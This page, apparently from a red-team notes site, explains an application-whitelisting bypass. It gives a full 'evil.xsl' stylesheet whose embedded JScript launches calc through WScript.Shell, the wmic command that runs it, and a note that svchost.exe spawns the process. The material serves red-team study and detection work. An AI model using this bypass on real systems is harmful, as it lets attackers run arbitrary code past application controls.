> For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl.md).

# Application Whitelisting Bypass with WMIC and XSL

Another application whitelist bypassing technique discovered by Casey @subTee, similar to squiblydoo:

{% content-ref url="/pages/-LHFGga0Qxq6A7OngYKg" %}
[regsvr32](/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo.md)
{% endcontent-ref %}

## Execution

Define the XSL file containing the jscript payload:

{% code title="evil.xsl" %}

```csharp
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>
</stylesheet>
```

{% endcode %}

Invoke any wmic command now and specify /format pointing to the evil.xsl:

{% code title="attacker\@victim" %}

```csharp
wmic os get /FORMAT:"evil.xsl"
```

{% endcode %}

![](/files/-Lc83UYBZZHhXT_-Wmf4)

## Observation

Calculator is spawned by svchost.exe:

![](/files/-Lc81mqIr4hmt8oEtfl-)

## References

{% embed url="<http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html>" %}